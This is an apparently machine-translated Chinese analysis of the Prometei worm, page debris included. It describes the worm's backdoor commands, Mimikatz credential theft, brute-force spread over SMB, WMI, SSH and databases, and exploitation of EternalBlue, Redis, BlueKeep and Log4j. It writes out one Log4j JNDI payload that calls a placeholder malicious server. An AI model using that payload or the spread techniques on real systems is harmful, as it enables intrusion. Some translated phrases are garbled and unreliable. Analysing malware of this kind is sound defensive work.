
以下是本文描述的蠕虫“Prometei”的详细分析和样本哈希:
一、样本分析
sqhost主模块
主模块名为:zsvc.exe,在水平传播过程中,使用UPX shell压缩。此外,病毒代码还对病毒的主要代码逻辑入口进行了加密。该模块存在挖矿、下载文件、持久化、执行任意命令行、扩展模块、削弱系统安全、调用横向传播模块等恶意行为。当病毒收到来自C&C服务器的后门指令后,就会执行相应的恶意行为。该病毒可以通过匿名通信协议与C&C服务器进行通信,例如Tor(洋葱路由器),从而增强了对实际C&C服务器的隐蔽性。Windows病毒样本支持的后门指令如下图所示:
Windows 病毒样本支持的后门指令
病毒模块可以根据不同的命令行参数执行相应的功能。具体功能模式如下图所示:
参数功能
比较典型的后门功能指令代码
称呼
调用CreateProcess函数执行程序,相关代码如下图所示:
CALL指令代码
更新
从服务端下载更新主模块,相关代码,如下图:
更新命令代码
wget
根据网址和相关代码下载文件,如下图所示:
wget 命令代码
通过执行命令行下载其他模块
病毒收到后门命令后,会通过命令行执行PowerShell脚本,下载并解压包含恶意文件的压缩包(updata.7z),执行解压后的install.cmd。脚本的内容,如下图所示:
PowerShell 命令
压缩包内容如下图所示:
压缩包内容
执行install.cmd,更新已有模块,执行rdpcIip横向传播模块,如下图:
install.cmd 内容
RdpCIip横向传播模块
RdpCIip横向传播模块会扫描局域网内的所有机器,如:SMB、Redis、RPC、RDP、Apache、SSH、SQL Server、PostgreSQL服务端口,并对上述服务进行暴力破解和漏洞攻击(《永恒之蓝》、BlueKeep、Apache Log4j漏洞、Redis未授权访问漏洞等),拥有大型局域网的政府和企业组织面临更大的安全风险。在局域网暴力破解之前,会通过miwalk模块(Mimikatz)获取系统登录凭证,通过获取的登录凭证和内置的弱密码字典进行横向暴力破解。攻击成功后,被攻击主机会执行一段恶意代码。恶意代码会调用PowerShell命令从服务器下载主模块并执行。相关代码如下图所示:
恶意代码内容
爆炸传播
该病毒会对局域网中具有 SMB、WMI、SQLServer 和 PostgreSQL 服务的机器进行暴力攻击。病毒暴力破解使用的密码字典内容包括:miwalk模块(Mimikatz)获取的系统登录凭证、病毒镜像中的弱密码字典、根据目标主机名动态生成的一组字典,从而提高暴力攻击的成功率。.
收集系统登录凭据
调用miwalk模块(Mimikatz)获取系统登录凭证并保存在ssldata2.dll中。相关代码如下图所示:
调用miwalk获取系统登录凭证
动态生成字典
病毒镜像中包含的弱密码字典如下图所示:
病毒图像中包含的弱密码字典
根据目标主机名动态生成的登录信息字典,如下图所示:
基于目标主机名动态组装的登录信息字典
WMI 蛮力传播
根据登录信息字典突破WMI,通过WMI远程执行CMD命令进行横向传播。相关代码如下图所示:
WMI 蛮力传播
SSH蛮力传播
将生成的字典加密写入.cpass文件,调用windrlver模块进行SSH的暴力攻击和横向传播。相关代码如下图所示:
SSH蛮力传播
常用帐户和密码组合
加密的登录信息字典保存在cpass文件中
调用windrlver模块,将目标信息作为参数传入,对目标进行暴力破解,如下图所示:
调用 windrlver 模块
Windrlver 模块
该模块的主要目的是根据提供的登录信息字典对目标SSH进行暴力攻击和横向传播。相关代码如下图所示:
SSH蛮力传播
SQLServer 和 PostgreSQL 暴力破解
前面的步骤同SSH暴力传播,最后调用nethelper模块,如下图:
调用 nethelper 模块
网络助手模块
该模块的主要目的是根据提供的字典对目标 SQL Server 和 PostgreSQL 数据库进行暴力攻击和横向传播。
SQL Server 蛮力传播
连接数据库代码,如下图所示:
连接到 SQL Server
在目标终端调用PowerShell命令下载主模块,如下图:
远程执行 PowerShell
PostgreSQL 蛮力传播
连接数据库代码,如下图所示:
连接到 PostgreSQL
根据不同的操作系统下载目标中不同的主要模块。Windows 系统使用 PowerShell 指令下载模块。相关代码如下图所示:
视窗
对于类 Unix 系统(mac OS、Linux),使用 curl/wget/nexec 下载模块。相关代码如下图所示:
类 Unix 系统
SMB 突发
首先,根据之前获取的系统登录凭证和弱密码字典进行SMB暴力破解。如果暴力攻击失败,将使用“永恒之蓝”漏洞攻击。攻击成功后跑字典用服务器吗,会远程创建一个随机名称服务项(该服务项下图中名为xsvf),通过该服务执行CMD命令,下载sqhost.exe(后门模块)并从服务器执行。具体流程如下图所示:
中小企业认证
远程创建服务
受害主机被攻击后添加的服务项
漏洞传播
该病毒会攻击局域网中易受攻击的机器,例如:“永恒之蓝”漏洞、Redis 未授权访问漏洞、BlueKeep 漏洞、Apache Log4j 漏洞。
“永恒之蓝”漏洞传播
如果 SMB 暴力攻击失败,将使用“永恒之蓝”漏洞攻击。攻击成功后的传播过程与暴力攻击的后续传播过程相同,如上所述(SMB暴力破解)。相关防御情况如下图所示:
Tinder 阻止了病毒产生的“永恒之蓝”攻击
Redis 未授权访问漏洞传播
Redis未授权访问漏洞,Redis默认会绑定到0.0.0.0:6379,如果没有设置相关的安全策略,比如添加防火墙规则避免其他信任源IP访问等,这会将Redis服务暴露给公网。如果不设置密码认证,任何可以访问目标服务器的用户都将无权访问 Redis 并读取 Redis 数据。通过Redis未授权访问漏洞连接成功后跑字典用服务器吗,会通过wget命令下载恶意模块并执行。相关代码如下图所示:
Redis 传播过程
BlueKeep 漏洞利用传播
根据RDP协议获取目标主机名,将目标IP和主机名加密到bklocal(BlueKeep漏洞攻击模块),将漏洞传播给目标。获取RDP协议返回的主机名,相关代码如下图所示:
获取 RDP 协议中返回的主机名
加密目标 IP 和主机名,如下图所示:
加密主机名和目标 IP
调用bklocal模块传入加密数据,如下图:
加密的内容被传递给 bklocal 模块
Apache Log4j 漏洞传播
利用Apache Log4j漏洞(CVE-2021-44228)执行远程代码,构造User-Agent内容为${jndi:ldap://malicious server IP:1399/test},发送到目标端口80或8080)get请求,如果存在Apache Log4j漏洞,恶意服务器上的测试文件中的恶意代码将被执行传播。相关代码如下图所示:
Apache Log4j 漏洞
类Unix系统病毒样本分析
类Unix系统病毒样本暂时只发现了SMB、SSH、Redis漏洞攻击和蛮力攻击,代码逻辑部分与Windows相同,不再赘述。
类Unix系统病毒样本支持的后门指令如下图所示:
类Unix系统病毒样本支持的后门指令
二、附录
示例哈希:
请登录后发表评论
注册
社交帐号登录